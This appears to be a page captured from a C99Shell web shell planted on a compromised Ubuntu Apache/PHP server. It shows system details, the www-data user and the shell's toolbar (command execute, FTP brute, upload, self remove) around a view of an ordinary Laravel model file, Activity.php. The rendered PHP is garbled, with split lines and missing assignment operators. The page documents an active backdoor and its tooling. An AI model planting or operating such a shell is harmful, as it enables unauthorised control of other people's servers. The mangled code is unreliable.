!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/main_file/app/Models/   drwxrwxr-x
Free 13.33 GB of 57.97 GB (23%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Activity.php (3.13 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Models;

use 
App\Models\Company;
use 
App\Models\Contact;
use 
Illuminate\Database\Eloquent\Model;

class 
Activity extends Model
{
    public static function 
get_activity($module_type,$module_id)
    {
        
$result=['name'=>'-'];
        if(
$module_type=='contact')
        {
            
$contactContact::where('id',$module_id)->orderBy('id','desc')->first();
            if(
$contact)
            {
                
$result =['name' => $contact->name];
            }
        }
        elseif(
$module_type=='company')
        {
            
$companyCompany::where('id',$module_id)->orderBy('id','desc')->first();
            if(
$company)
                {
                    
$result =['name' => $company->name];
                }
        }
        elseif(
$module_type=='employee')
        {
            
$employeeHrmEmployee::where('id',$module_id)->orderBy('id','desc')->first();
            if(
$employee)
                {
                    
$result =['name' => $employee->first_name.' '.$employee->last_name];
                }
        }
        return 
$result;
    }
    public function 
logIcon($type '')
    {
        
$icon '';

        if(!empty(
$type))
        {
            if(
$type == 'Invite User')
            {
                
$icon 'user';
            }
            else if(
$type == 'User Assigned to the Task')
            {
                
$icon 'user-check';
            }
            else if(
$type == 'User Removed from the Task')
            {
                
$icon 'user-x';
            }
            else if(
$type == 'Upload File')
            {
                
$icon 'upload-cloud';
            }
            else if(
$type == 'Create Milestone')
            {
                
$icon 'crop';
            }
            else if(
$type == 'Create Bug')
            {
                
$icon 'alert-triangle';
            }
            else if(
$type == 'Create Task')
            {
                
$icon 'list';
            }
            else if(
$type == 'Move Task')
            {
                
$icon 'command';
            }
            else if(
$type == 'Create Expense')
            {
                
$icon 'clipboard';
            }
            else if(
$type == 'Move')
            {
                
$icon 'move';
            }
            elseif(
$type == 'Add Product')
            {
                
$icon 'shopping-cart';
            }
            elseif(
$type == 'Upload File')
            {
                
$icon 'file';
            }
            elseif(
$type == 'Update Sources')
            {
                
$icon 'airplay';
            }
            elseif(
$type == 'Create Deal Call')
            {
                
$icon 'phone-call';
            }
            elseif(
$type == 'Create Deal Email')
            {
                
$icon 'voicemail';
            }
            elseif(
$type == 'Create Invoice')
            {
                
$icon 'file-plus';
            }
            elseif(
$type == 'Add Contact')
            {
                
$icon 'book';
            }
            elseif(
$type == 'Create Task')
            {
                
$icon 'list';
            }
        }

        return 
$icon;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0231 ]--